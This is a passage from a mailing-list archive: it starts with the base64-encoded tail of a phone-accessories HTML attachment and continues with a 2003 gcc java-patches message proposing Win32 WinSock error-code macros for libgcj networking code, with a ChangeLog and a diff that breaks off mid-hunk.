IiBib3JkZXI9IjAiPg0JPHRyPg0JCTx0ZD48aW1nIHNyYz0iaW1hZ2VzL3MuZ2lmIiB3aWR0 aD0iMzUiIGhlaWdodD0iMTUiPjwvdGQ+DQkJPHRkPjxpbWcgc3JjPSJpbWFnZXMvcy5naWYi IHdpZHRoPSIxODAiIGhlaWdodD0iMSI+PC90ZD4NCQk8dGQ+PGltZyBzcmM9ImltYWdlcy9z LmdpZiIgd2lkdGg9IjUwIiBoZWlnaHQ9IjEiPjwvdGQ+DQkJPHRkPjxpbWcgc3JjPSJpbWFn ZXMvcy5naWYiIHdpZHRoPSIxODAiIGhlaWdodD0iMSI+PC90ZD4NCQk8dGQ+PGltZyBzcmM9 ImltYWdlcy9zLmdpZiIgd2lkdGg9IjUwIiBoZWlnaHQ9IjEiPjwvdGQ+DQkJPHRkPjxpbWcg c3JjPSJpbWFnZXMvcy5naWYiIHdpZHRoPSIxODAiIGhlaWdodD0iMSI+PC90ZD4NCQk8dGQ+ PGltZyBzcmM9ImltYWdlcy9zLmdpZiIgd2lkdGg9IjE1IiBoZWlnaHQ9IjEiPjwvdGQ+DQk8 L3RyPg0JPHRyPg0JCTx0ZD48aW1nIHNyYz0iaW1hZ2VzL3MuZ2lmIiB3aWR0aD0iMSIgaGVp Z2h0PSIxIj48L3RkPg0JCTx0ZCBjb2xzcGFuPSI1Ij4NCQkJPHNwYW4gY2xhc3M9ImhlYWQx Ij5BY2Nlc3Nvcmllczxicj48L3NwYW4+DQkJCTxzcGFuIGNsYXNzPSJib2R5Ij5DdXN0b21p emUgeW91ciBUNjhpIGFuZCBlbnN1cmUgb3B0aW11bSBwZXJmb3JtYW5jZSB3aXRoIGEgd2lk ZTxicj5yYW5nZSBvZiBTb255IEVyaWNzc29uIGFjY2Vzc29yaWVzLjxicj48L3NwYW4+DQkJ PC90ZD4NCQk8dGQ+PGltZyBzcmM9ImltYWdlcy9zLmdpZiIgd2lkdGg9IjEiIGhlaWdodD0i MSI+PC90ZD4NCTwvdHI+DQk8dHI+DQkJPHRkIGNvbHNwYW49IjciPjxpbWcgc3JjPSJpbWFn ZXMvcy5naWYiIHdpZHRoPSIxIiBoZWlnaHQ9IjMwIj48L3RkPg0JPC90cj4NCTx0ciB2YWxp Z249InRvcCI+DQkJPHRkPjxpbWcgc3JjPSJpbWFnZXMvcy5naWYiIHdpZHRoPSIxIiBoZWln aHQ9IjEiPjwvdGQ+DQkJDSAgICA8dGQ+PGltZyBzcmM9ImltYWdlcy9hY2Nlc3MwMS5qcGci IHdpZHRoPSIxODAiIGhlaWdodD0iMTM2IiBhbHQ9IkNvbW11bmlDYW0gTUNBLTIwIj48L3Rk Pg0JCTx0ZD48aW1nIHNyYz0iaW1hZ2VzL3MuZ2lmIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48 L3RkPg0JCQ0gICAgPHRkPjxpbWcgc3JjPSJpbWFnZXMvYWNjZXNzMDIuanBnIiB3aWR0aD0i MTgwIiBoZWlnaHQ9IjEzNiIgYWx0PSJCbHVldG9vdGggSGFuZHNmcmVlIEhCSC0yMCI+PC90 ZD4NCQk8dGQ+PGltZyBzcmM9ImltYWdlcy9zLmdpZiIgd2lkdGg9IjEiIGhlaWdodD0iMSI+ PC90ZD4NCQkNICAgIDx0ZD48aW1nIHNyYz0iaW1hZ2VzL2FjY2VzczAzLmpwZyIgd2lkdGg9 IjE4MCIgaGVpZ2h0PSIxMzYiIGFsdD0iQmx1ZXRvb3RoIEhlYWRzZXQgSEJILTE1Ij48L3Rk Pg0JCTx0ZD48aW1nIHNyYz0iaW1hZ2VzL3MuZ2lmIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48 L3RkPg0JPC90cj4NCTx0cj4NCQk8dGQgY29sc3Bhbj0iNyI+PGltZyBzcmM9ImltYWdlcy9z LmdpZiIgd2lkdGg9IjEiIGhlaWdodD0iMjAiPjwvdGQ+DQk8L3RyPg0JPHRyIHZhbGlnbj0i dG9wIj4NCQk8dGQ+Jm5ic3A7PC90ZD4NCQk8dGQ+DQkJCTxzcGFuIGNsYXNzPSJoZWFkQmxh Y2sxIj5Db21tdW5pQ2FtJiMxNTM7PC9zcGFuPg0JCQk8c3BhbiBjbGFzcz0iYm9keUJsYWNr Ij48YnI+TW9iaWxlIGNhbWVyYSBNQ0EtMjA8L3NwYW4+DQkJCTxzcGFuIGNsYXNzPSJib2R5 Ij48YnI+QSB1bmlxdWUgc25hcC1vbiBjYW1lcmEgZm9yIHlvdXIgVDY4aS4gQ29ubmVjdCBD b21tdW5pQ2FtJiMxNTM7IE1DQS0yMCB0byB5b3VyIFNvbnkgRXJpY3Nzb24gcGhvbmUsIHRh a2UgYSBwaWN0dXJlIG9mIHdoZXJlIHlvdSBhcmUgYW5kIHNlbmQgaXQgYXMgcGFydCBvZiBh IG11bHRpbWVkaWEgbWVzc2FnZSBvciBhcyBhbiBlLW1haWwgYXR0YWNobWVudC4gWW91IGNh biBzYXZlIGJldHdlZW4gMTQgYW5kIDIwOCBwaWN0dXJlcyBpbiB0aGUgY2FtZXJhIGRlcGVu ZGluZyBvbiBwaWN0dXJlIHNpemUuPGJyPjwvc3Bhbj4NCQk8L3RkPg0JCTx0ZD4mbmJzcDs8 L3RkPg0JCTx0ZD4NCQkJPHNwYW4gY2xhc3M9ImhlYWRCbGFjazEiPkJsdWV0b290aCYjMTUz OyBIYW5kc2ZyZWU8L3NwYW4+DQkJCTxzcGFuIGNsYXNzPSJib2R5QmxhY2siPjxicj5IQkgt MjA8L3NwYW4+DQkJCTxzcGFuIGNsYXNzPSJib2R5Ij48YnI+QSBkaXNjcmV0ZSBoYW5kc2Zy ZWUgdGhhdCBjb25uZWN0cyB0byB5b3VyIFQ2OGkgd2l0aG91dCBhIGNhYmxlLiBUaGUgQmx1 ZXRvb3RoJiMxNTM7IGNoaXAgaXMgY29uY2VhbGVkIGluIGEgYnJvY2gtbGlrZSByZWNlaXZl ciB3aXRoIGNsb3RoZXMgY2xpcC4gWW91IGNhbiBtYWtlIGFuZCBhbnN3ZXIgY2FsbHMgd2l0 aG91dCB0b3VjaGluZyB5b3VyIHBob25lLjxicj48YnI+PC9zcGFuPg0JCTwvdGQ+DQkJPHRk PiZuYnNwOzwvdGQ+DQkJPHRkPg0JCQk8c3BhbiBjbGFzcz0iaGVhZEJsYWNrMSI+Qmx1ZXRv b3RoJiMxNTM7IEhlYWRzZXQ8L3NwYW4+DQkJCTxzcGFuIGNsYXNzPSJib2R5QmxhY2siPjxi cj5IQkgtMTU8L3NwYW4+DQkJCTxzcGFuIGNsYXNzPSJib2R5Ij48YnI+VGhlIHVsdGltYXRl IGhhbmRzZnJlZSB0aGF0IGNvbm5lY3RzIHRvIHlvdXIgVDY4aSB2aWEgYSByYWRpbyBsaW5r IGluc3RlYWQgb2YgYSBjYWJsZS4gSXQgc2l0cyBjb21mb3J0YWJseSBvbiB0aGUgZWFyIGFu ZCBzdXBwb3J0cyB2b2ljZSBkaWFsbGluZyBhbmQgYW5zd2VyaW5nLjxicj48YnI+PC9zcGFu Pg0JCTwvdGQ+DQkJPHRkPjxpbWcgc3JjPSJpbWFnZXMvcy5naWYiIHdpZHRoPSIxIiBoZWln aHQ9IjEiPjwvdGQ+DQk8L3RyPg0JPHRyPg0JCTx0ZCBjb2xzcGFuPSI3Ij48aW1nIHNyYz0i aW1hZ2VzL3MuZ2lmIiB3aWR0aD0iMSIgaGVpZ2h0PSIyMCI+PC90ZD4NCTwvdHI+DQk8dHI+ DQkJPHRkIGNvbHNwYW49IjciIGJhY2tncm91bmQ9ImltYWdlcy9ncmVlbkRvdC5naWYiPjxp bWcgc3JjPSJpbWFnZXMvcy5naWYiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvdGQ+DQk8L3Ry Pg0JPHRyPg0JCTx0ZCBjb2xzcGFuPSI3Ij48aW1nIHNyYz0iaW1hZ2VzL3MuZ2lmIiB3aWR0 aD0iMSIgaGVpZ2h0PSIyMCI+PC90ZD4NCTwvdHI+DQk8dHIgdmFsaWduPSJ0b3AiPg0JCTx0 ZD4mbmJzcDs8L3RkPg0JCTx0ZCBjbGFzcz0iaGVhZEJsYWNrMiI+DQkJCVN5c3RlbSBDYWJs ZTxzcGFuIGNsYXNzPSJib2R5QmxhY2siPjxicj5IQ0MtMjA8YnI+PGJyPjwvc3Bhbj4NCQkJ QWR2YW5jZWQgQ2FyIEhhbmRzZnJlZTxzcGFuIGNsYXNzPSJib2R5QmxhY2siPjxicj5IQ0Et MjA8YnI+PGJyPjwvc3Bhbj4NCQkJQWR2YW5jZWQgTXVzaWMgTXV0ZTxicj48YnI+DQkJCUJs dWV0b290aCYjMTUzOyBIZWFkc2V0PHNwYW4gY2xhc3M9ImJvZHlCbGFjayI+PGJyPkhCSC0x MDxicj48YnI+PC9zcGFuPg0JCQlDYXIgSG9sZGVyPHNwYW4gY2xhc3M9ImJvZHlCbGFjayI+ PGJyPkhDSC0yODxicj48YnI+PC9zcGFuPg0JCQlDaWdhcmV0dGUgTGlnaHRlciBBZGFwdGVy PHNwYW4gY2xhc3M9ImJvZHlCbGFjayI+PGJyPkNMQS0xMDxicj48YnI+PC9zcGFuPg0JCQlE YXRhIEV4dGVuc2lvbiBDYWJsZTxzcGFuIGNsYXNzPSJib2R5QmxhY2siPjxicj5IQ0QtMTA8 YnI+PGJyPjwvc3Bhbj4NCQkJRGVzayBTdGFuZDxzcGFuIGNsYXNzPSJib2R5QmxhY2siPjxi cj5DRFMtMTE8YnI+PGJyPjwvc3Bhbj4NCQkJRXh0ZXJuYWwgSGFuZHNldDxzcGFuIGNsYXNz PSJib2R5QmxhY2siPjxicj5IQ0UtMTA8YnI+PGJyPjwvc3Bhbj4NCQkJRk0gUmFkaW8gSGFu ZHNmcmVlPHNwYW4gY2xhc3M9ImJvZHlCbGFjayI+PGJyPkhQUi0xMTxicj48YnI+PC9zcGFu Pg0JCTwvdGQ+DQkJPHRkPiZuYnNwOzwvdGQ+DQkJPHRkIGNsYXNzPSJoZWFkQmxhY2syIj4N CQkJTWljcm8gVHJhdmVsIENoYXJnZXI8c3BhbiBjbGFzcz0iYm9keUJsYWNrIj48YnI+Q01U LTEwPGJyPjxicj48L3NwYW4+DQkJCUNvbW11bmlDYW0mIzE1MzsgTW9iaWxlIGNhbWVyYTxz cGFuIGNsYXNzPSJib2R5QmxhY2siPjxicj5NQ0EtMTA8YnI+PGJyPjwvc3Bhbj4NCQkJTVAz IEhhbmRzZnJlZTxzcGFuIGNsYXNzPSJib2R5QmxhY2siPjxicj5IUE0tMTA8YnI+PGJyPjwv c3Bhbj4NCQkJUGhvbmUgSG9sc3RlcjxzcGFuIGNsYXNzPSJib2R5QmxhY2siPjxicj5JQ1Qt MTM8YnI+PGJyPjwvc3Bhbj4NCQkJUG9ydGFibGUgSGFuZHNmcmVlIHdpdGggYW5zd2VyaW5n IGJ1dHRvbjxzcGFuIGNsYXNzPSJib2R5QmxhY2siPjxicj5IUEItMTA8YnI+PGJyPjwvc3Bh bj4NCQkJUlMgMjMyIENhYmxlPHNwYW4gY2xhc3M9ImJvZHlCbGFjayI+PGJyPkRSUy0xMDxi cj48YnI+PC9zcGFuPg0JCQlTdGFuZGFyZCBCYXR0ZXJ5PHNwYW4gY2xhc3M9ImJvZHlCbGFj ayI+PGJyPkJTVC0xNDxicj48YnI+PC9zcGFuPg0JCQlUcmF2ZWwgQ2hhcmdlcjxzcGFuIGNs YXNzPSJib2R5QmxhY2siPjxicj5DVFItMTA8YnI+PGJyPjwvc3Bhbj4NCQkJVVNCIENhYmxl PHNwYW4gY2xhc3M9ImJvZHlCbGFjayI+PGJyPkRDVS0xMDxicj48YnI+PC9zcGFuPg0JCTwv dGQ+DQkJPHRkPiZuYnNwOzwvdGQ+DQkJPHRkPg0JCQk8dGFibGUgY2VsbHBhZGRpbmc9IjAi IGNlbGxzcGFjaW5nPSIwIiBib3JkZXI9IjAiPg0JCQkJPHRyIHZhbGlnbj0idG9wIj4NCQkJ CQk8dGQ+PGEgaHJlZj0iaHR0cDovL3d3dy5zb255ZXJpY3Nzb24uY29tL3NwZy5qc3A/dGVt cGxhdGU9UDEmQ0lEPTEwNCZQYWdlTmFtZT1QMSZzdGFydD0wJmxpbms9UFMxIiB0YXJnZXQ9 Il9ibGFuayI+PGltZyBzcmM9ImltYWdlcy9hcnJvd19leHQuZ2lmIiB3aWR0aD0iMTciIGhl aWdodD0iMTciIGJvcmRlcj0iMCIgYWx0PSIiIHZzcGFjZT0iMyI+PC9hPjwvdGQ+DQkJCQkJ PHRkPjxpbWcgc3JjPSJpbWFnZXMvcy5naWYiIHdpZHRoPSIxMCIgaGVpZ2h0PSIyNSIgYWx0 PSIiPjwvdGQ+DQkJCQkJPHRkIGNsYXNzPSJoZWFkR3JlZW4yIj48YSBocmVmPSJodHRwOi8v d3d3LnNvbnllcmljc3Nvbi5jb20vc3BnLmpzcD90ZW1wbGF0ZT1QMSZDSUQ9MTA0JlBhZ2VO YW1lPVAxJnN0YXJ0PTAmbGluaz1QUzEiIGNsYXNzPSJoZWFkR3JlZW4yIiB0YXJnZXQ9Il9i bGFuayI+VmlldyB0aGUgZ2xvYmFsPGJyPmFjY2Vzc29yeSBwb3J0Zm9saW88L2E+PC90ZD4N CQkJCTwvdHI+DQkJCTwvdGFibGU+DQkJPC90ZD4NCQk8dGQ+PGltZyBzcmM9ImltYWdlcy9z LmdpZiIgd2lkdGg9IjEiIGhlaWdodD0iMSI+PC90ZD4NCTwvdHI+DQk8dHI+DQkJPHRkIGNv bHNwYW49IjciPjxpbWcgc3JjPSJpbWFnZXMvcy5naWYiIHdpZHRoPSIxIiBoZWlnaHQ9IjIw Ij48L3RkPg0JPC90cj4NPC90YWJsZT4NCQkNPGJyPjxicj4NDTxJTUcgQk9SREVSPSIwIiBX SURUSD0iMSIgSEVJR0hUPSIxIiBTUkM9Imh0dHA6Ly9zdGF0c2Uud2VidHJlbmRzbGl2ZS5j b20vUzEwNDY0NC9idXR0b242LmFzcD90YWd2ZXI9NiZzaT0xMDQ2NDQmZnc9MSZqcz1ObyYi Pg08IS0tIE5vIFNjcmlwdCBzZWN0aW9uIGZvciBMb2NhbCBSZXBvcnQgLS0+DTxJTUcgQk9S REVSPSIwIiBXSURUSD0iMSIgSEVJR0hUPSIxIiBTUkM9Imh0dHA6Ly9zdGF0c2Uud2VidHJl bmRzbGl2ZS5jb20vUzEyMTM2OC9idXR0b242LmFzcD90YWd2ZXI9NiZzaT0xMjI0MDkmZnc9 MSZqcz1ObyYiPg0NPCEtLSBFTkQgU1RBVElTVElDUyBJTkNMVURFIC0tPg08L2JvZHk+PCEt LSBCRUdJTiBTVEFUSVNUSUNTIElOQ0xVREUgLS0+DQ08c2NyaXB0IGxhbmd1YWdlPSJKYXZh U2NyaXB0Ij4NDWZ1bmN0aW9uIHd0bF9UYWc2KGlTaXRlSUQsc0NHKQ17DQ0JdmFyIENPTlRF TlRHUk9VUCA9IHR5cGVvZihzQ0cpPT0gInN0cmluZyIgPyBzQ0cgOiAiIjsNCXZhciB3dGxf VVJMPSBDVVNUT01VUkw7DQl2YXIgd3RsX1RpdGxlPSBDVVNUT01USVRMRTsNDQlmdW5jdGlv biBEOCggZCkNCXsNCQl2YXIgZndkPTEsIHNlZWQ9IG5ldyBEYXRlKCcwMS8wMS8yMDAwJyks IGtleT0gIjAxMjM0NTY3ODlBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWpr bG1ub3BxcnN0dXZ3eHl6IjsNCQl2YXIgcz0ga2V5LmNoYXJBdCggZC5nZXRGdWxsWWVhcigp LTIwMDApK2tleS5jaGFyQXQoIGQuZ2V0TW9udGgoKSsxKStrZXkuY2hhckF0KCBkLmdldERh dGUoKSk7DQkJcys9IGtleS5jaGFyQXQoIGQuZ2V0SG91cnMoKSkra2V5LmNoYXJBdCggZC5n ZXRNaW51dGVzKCkpK2tleS5jaGFyQXQoIGQuZ2V0U2Vjb25kcygpKTsNCQl3aGlsZSggc2Vl ZC5nZXREYXkoKSE9ZndkKSBzZWVkPSBuZXcgRGF0ZShzZWVkLmdldFRpbWUoKSArIDg2NDAw MDAwKTsNCQl2YXIgdz0gTWF0aC5mbG9vciggKGQuZ2V0VGltZSgpLShzZWVkLmdldFRpbWUo KSs4NjQwMDAwMCkpIC8gNjA0ODAwMDAwICk7DQkJcys9IGtleS5jaGFyQXQoICh3LSh3JTE2 KSkvMTYgKTsNCQlzKz0ga2V5LmNoYXJBdCggdyUxNik7DQkJcmV0dXJuIHM7DQl9DQ0JZnVu Y3Rpb24gQSggQiwgQykNCXsNCQlXKz0iJiIrQisiPSIrZXNjYXBlKEMpOw0JfQ0JDQl2YXIg dCA9IG5ldyBEYXRlKCk7DQl2YXIgVz0iaHR0cCIrKHd0bF9VUkwuaW5kZXhPZignaHR0cHM6 Jyk9PTA/J3MnOicnKSsiOi8vc3RhdHNlLndlYnRyZW5kc2xpdmUuY29tL1MiICsgaVNpdGVJ RCArICIvYnV0dG9uNi5hc3A/dGFndmVyPTYmc2k9IiArIGlTaXRlSUQgKyAiJmZ3PTEiOw0J QSggInNlcnZlciIsIHR5cGVvZihTRVJWRVIpPT0gInN0cmluZyIgPyBTRVJWRVIgOiAiIik7 DQlBKCAib3JkZXIiLCB0eXBlb2YoT1JERVIpPT0gInN0cmluZyIgPyBPUkRFUiA6ICIiKTsN CUEoICJHcm91cCIsIHR5cGVvZihDT05URU5UR1JPVVApPT0gInN0cmluZyIgPyBDT05URU5U R1JPVVAgOiAiIik7DQlBKCAiaW52b2ljZSIsIHR5cGVvZihJTlZPSUNFKT09ICJzdHJpbmci ID8gSU5WT0lDRSA6ICIiKTsNCUEoICJjYXJ0dmlldyIsIHR5cGVvZihDQVJUVklFVyk9PSAi c3RyaW5nIiA/IENBUlRWSUVXIDogIiIpOw0JQSggImNhcnRhZGQiLCB0eXBlb2YoQ0FSVEFE RCk9PSAic3RyaW5nIiA/IENBUlRBREQgOiAiIik7DQlBKCAiY2FydHJlbW92ZSIsIHR5cGVv ZihDQVJUUkVNT1ZFKT09ICJzdHJpbmciID8gQ0FSVFJFTU9WRSA6ICIiKTsNCUEoICJjaGVj a291dCIsIHR5cGVvZihDSEVDS09VVCk9PSAic3RyaW5nIiA/IENIRUNLT1VUIDogIiIpOw0J QSggImNhcnRidXkiLCB0eXBlb2YoQ0FSVEJVWSk9PSAic3RyaW5nIiA/IENBUlRCVVkgOiAi Iik7DQlBKCAiYWRjYW1wYWlnbiIsIHR5cGVvZihBRENBTVBBSUdOKT09ICJzdHJpbmciID8g QURDQU1QQUlHTiA6ICIiKTsNCUEoICJ0eiIsIHQuZ2V0VGltZXpvbmVPZmZzZXQoKSk7DQlB KCAiY2giLCB0LmdldEhvdXJzKCkpOw0JQSggImNsIiwgRDgodCkpOw0JQSggInRpIiwgdHlw ZW9mKHd0bF9UaXRsZSk9PSAic3RyaW5nIiA/IHd0bF9UaXRsZSA6IGRvY3VtZW50LnRpdGxl KTsNCUEoICJ1cmwiLCB0eXBlb2Yod3RsX1VSTCk9PSAic3RyaW5nIiA/IHd0bF9VUkwgOiBk b2N1bWVudC5VUkwpOw0JQSggInJmIiwgcGFyZW50LmRvY3VtZW50LnJlZmVycmVyKTsNCUEo ICJqcyIsICJZZXMiKTsNCUEoICJ1bCIsIG5hdmlnYXRvci5hcHBOYW1lPT0iTmV0c2NhcGUi ID8gbmF2aWdhdG9yLmxhbmd1YWdlIDogbmF2aWdhdG9yLnVzZXJMYW5ndWFnZSk7DQlpZih0 eXBlb2Yoc2NyZWVuKT09Im9iamVjdCIpDQl7DQlBKCAic3IiLCBzY3JlZW4ud2lkdGgrIngi K3NjcmVlbi5oZWlnaHQpOw0JQSggImNkIiwgc2NyZWVuLmNvbG9yRGVwdGgpOw0JQSggImpv IiwgbmF2aWdhdG9yLmphdmFFbmFibGVkKCkgPyAiWWVzIiA6ICJObyIpOw0JfQ0JaWYoIFcu bGVuZ3RoPjIwNDggJiYgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCdNU0lFJyk+PTAp DQkJVz0gVy5zdWJzdHJpbmcoIDAsIDIwNDMpKyImdHU9MSI7DQ0JZG9jdW1lbnQud3JpdGUo JzxJTUcgSUQ9IldUTF9UQUciIEJPUkRFUj0iMCIgV0lEVEg9IjEiIEhFSUdIVD0iMSIgU1JD PSInK1crJyI+Jyk7DQ19DQ0NdmFyIENVU1RPTVVSTAk9IGRvY3VtZW50LlVSTDsNdmFyIENV U1RPTVRJVExFCT0gZG9jdW1lbnQudGl0bGU7DXZhciBHTE9CQUxfSUQJPSAnMTA0NjQ0JzsJ DXZhciBMT0NBTF9JRAk9ICIxMjI0MDkiOw0NDXd0bF9UYWc2KExPQ0FMX0lEKTsNd3RsX1Rh ZzYoR0xPQkFMX0lEKTsNDQ08L1NDUklQVD4NDTxOT1NDUklQVD4NPCEtLSBObyBTY3JpcHQg c2VjdGlvbiBmb3IgR2xvYmFsIFJlcG9ydCAtLT4NPC9OT1NDUklQVD48L2h0bWw+DQ0NDT== --RE5D3499aC461B86A-- From java-patches-return-5762-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 19:54:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27400 invoked by alias); 4 Jan 2003 19:54:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27115 invoked from network); 4 Jan 2003 19:54:21 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 209.249.29.67 with SMTP; 4 Jan 2003 19:54:21 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18UuM2-0007iB-00 for ; Sat, 04 Jan 2003 20:53:10 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18UuM2-0007i2-00 for ; Sat, 04 Jan 2003 20:53:10 +0100 Path: not-for-mail From: Ranjit Mathew Subject: [Patch for Review] "errno" in networking code and Win32 Date: Sun, 05 Jan 2003 01:25:41 +0530 Lines: 274 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en Hi, The following patch proposes to clean up the networking code a little bit with respect to checking for errors during socket operations. The background information for the need for such a patch can be found in the following message I posted to the GCJ list: http://gcc.gnu.org/ml/java/2002-12/msg00218.html I would especially request Adam and Michael (Koch) to review these proposals since code written by them would be the most affected by these changes. In summary, the normal UNIX "errno" variable cannot be used on Win32 to check for errors in calls to socket functions - the Win32 WinSock 2 API mandates the use of the WSAGetLastError( ) and WSASetLastError( ) functions to get and set the error code for WinSock 2 functions. Moreover, the normal socket error code definitions like ECONNREFUSED, etc. are instead defined as WSAECONNREFUSED, etc. To accommodate this limitation, I propose defining macros "_Jv_platform_getsockerr()" and "_Jv_platform_setsockerr()" instead of directly manipulating the errno variable for networking code. I also provide mappings for the normal socket error codes to their WinSock2 counterparts. For Posix these macros directly manipulate "errno" while on Win32 these macros call WSAGetLastError( ) and WSASetLastError( ) respectively. IMPORTANT: If these changes are acceptable, from now on we should use these macros in our networking code instead of using "errno" directly. NOTE: I must point out that even after making these changes, the networking code would still be lacking on Win32 because you just cannot use the strerror( ) function to get the error message for a socket error - you must use the FormatMessage( ) Win32 function to do it. This is a bit involved and I will attempt it a bit later - in the mean time strerror( ) will return messages like "Unknown Error" for socket errors instead of the "real" error message. I have had to replace the "winsock.h" header with "ws2tcpip.h" in win32.h. I have also removed the original pseudo definitions of ENOTCONN and ECONNRESET in win32.h as well as that of ENOPROTOPT. ChangeLog: 2003-01-04 Ranjit Mathew * include/win32.h: Use "ws2tcpip.h" instead of "winsock.h". Map socket error codes like EFOOBAR to WinSock WSAFOOBAR error codes. (ENOTCONN, ECONNRESET, ENOPROTOOPT): Remove old definitions. (_Jv_platform_getsockerr): Define. (_Jv_platform_setsockerr): Define. * include/posix.h (_Jv_platform_getsockerr): Define. (_Jv_platform_setsockerr): Define. * java/net/natPlainDatagramSocketImpl.cc: Use _Jv_platform_getsockerr and _Jv_platform_setsockerr instead of directly using "errno". * java/net/natPlainDatagramSocketImpl.cc: Ditto. -------------------------------- 8< -------------------------------- --- include/win32.h 2002-12-18 23:28:14.000000000 +0530 +++ include/win32.h 2003-01-05 00:12:45.000000000 +0530 @@ -15,6 +15,5 @@ #undef STRICT -#undef __INSIDE_CYGWIN__ -#include +#include #define IP_TOS 3 #include @@ -29,13 +28,40 @@ #ifndef DISABLE_JAVA_NET -// these errors cannot occur on Win32 -#define ENOTCONN 0 -#define ECONNRESET 0 - -#ifndef ENOPROTOOPT -#define ENOPROTOOPT 109 -#endif +#define _Jv_platform_getsockerr() WSAGetLastError( ) +#define _Jv_platform_setsockerr(x) WSASetLastError(x) -#endif // DISABLE_JAVA_NET +#define EUSERS WSAEUSERS +#define ENOTSOCK WSAENOTSOCK +#define EDESTADDRREQ WSAEDESTADDRREQ +#define EMSGSIZE WSAEMSGSIZE +#define EPROTOTYPE WSAEPROTOTYPE +#define ENOPROTOOPT WSAENOPROTOOPT +#define EPROTONOSUPPORT WSAEPROTONOSUPPORT +#define ESOCKTNOSUPPORT WSAESOCKTNOSUPPORT +#define EOPNOTSUPP WSAEOPNOTSUPP +#define EPFNOSUPPORT WSAEPFNOSUPPORT +#define EAFNOSUPPORT WSAEAFNOSUPPORT +#define EADDRINUSE WSAEADDRINUSE +#define EADDRNOTAVAIL WSAEADDRNOTAVAIL +#define ENETDOWN WSAENETDOWN +#define ENETUNREACH WSAENETUNREACH +#define ENETRESET WSAENETRESET +#define ECONNABORTED WSAECONNABORTED +#define ECONNRESET WSAECONNRESET +#define ENOBUFS WSAENOBUFS +#define EISCONN WSAEISCONN +#define ENOTCONN WSAENOTCONN +#define ESHUTDOWN WSAESHUTDOWN +#define ETOOMANYREFS WSAETOOMANYREFS +#define ETIMEDOUT WSAETIMEDOUT +#define ECONNREFUSED WSAECONNREFUSED +#define EHOSTDOWN WSAEHOSTDOWN +#define EHOSTUNREACH WSAEHOSTUNREACH +#define EALREADY WSAEALREADY +#define EINPROGRESS WSAEINPROGRESS +#define ESTALE WSAESTALE +#define EDQUOT WSAEDQUOT + +#endif /* !DISABLE_JAVA_NET */ extern void _Jv_platform_initialize (void); --- include/posix.h 2003-01-04 20:56:53.000000000 +0530 +++ include/posix.h 2003-01-05 00:01:53.000000000 +0530 @@ -67,4 +67,7 @@ #endif +#define _Jv_platform_getsockerr() (errno) +#define _Jv_platform_setsockerr(x) (errno = (x)) + static inline int _Jv_socket (int domain, int type, int protocol) --- java/net/natPlainDatagramSocketImpl.cc 2002-12-18 23:47:26.000000000 +0530 +++ java/net/natPlainDatagramSocketImpl.cc 2003-01-05 00:18:39.000000000 +0530 @@ -311,5 +311,5 @@ char* strerr = strerror (errno); - if (errno == ECONNREFUSED) + if (_Jv_platform_getsockerr () == ECONNREFUSED) throw new PortUnreachableException (JvNewStringUTF (strerr)); @@ -378,5 +378,5 @@ char* strerr = strerror (errno); - if (errno == ECONNREFUSED) + if (_Jv_platform_getsockerr () == ECONNREFUSED) throw new PortUnreachableException (JvNewStringUTF (strerr)); @@ -433,5 +433,5 @@ char* strerr = strerror (errno); - if (errno == ECONNREFUSED) + if (_Jv_platform_getsockerr () == ECONNREFUSED) throw new PortUnreachableException (JvNewStringUTF (strerr)); @@ -500,5 +500,5 @@ char* strerr = strerror (errno); - if (errno == ECONNREFUSED) + if (_Jv_platform_getsockerr () == ECONNREFUSED) throw new PortUnreachableException (JvNewStringUTF (strerr)); @@ -728,5 +728,5 @@ return; default : - errno = ENOPROTOOPT; + _Jv_platform_setsockerr (ENOPROTOOPT); } @@ -862,5 +862,5 @@ default : - errno = ENOPROTOOPT; + _Jv_platform_setsockerr (ENOPROTOOPT); } --- java/net/natPlainSocketImpl.cc 2003-01-05 00:03:33.000000000 +0530 +++ java/net/natPlainSocketImpl.cc 2003-01-05 00:09:09.000000000 +0530 @@ -323,5 +323,6 @@ ::fcntl (fnum, F_SETFL, flags | O_NONBLOCK); - if ((_Jv_connect (fnum, ptr, len) != 0) && (errno != EINPROGRESS)) + if ((_Jv_connect (fnum, ptr, len) != 0) && + (_Jv_platform_getsockerr () != EINPROGRESS)) goto error; @@ -454,5 +455,7 @@ // These three errors are not errors according to tests performed // on the reference implementation. - if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + if (_Jv_platform_getsockerr () != ENOTCONN && + _Jv_platform_getsockerr () != ECONNRESET && + _Jv_platform_getsockerr () != EBADF) throw new java::io::IOException (JvNewStringUTF (strerror (errno))); } @@ -483,5 +486,7 @@ } // Some errors should not cause exceptions. - if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + if (_Jv_platform_getsockerr () != ENOTCONN && + _Jv_platform_getsockerr () != ECONNRESET && + _Jv_platform_getsockerr () != EBADF) throw new java::io::IOException (JvNewStringUTF (strerror (errno))); break; @@ -517,5 +522,7 @@ } // Some errors should not cause exceptions. - if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + if (_Jv_platform_getsockerr () != ENOTCONN && + _Jv_platform_getsockerr () != ECONNRESET && + _Jv_platform_getsockerr () != EBADF) throw new java::io::IOException (JvNewStringUTF (strerror (errno))); break; @@ -583,5 +590,5 @@ { // 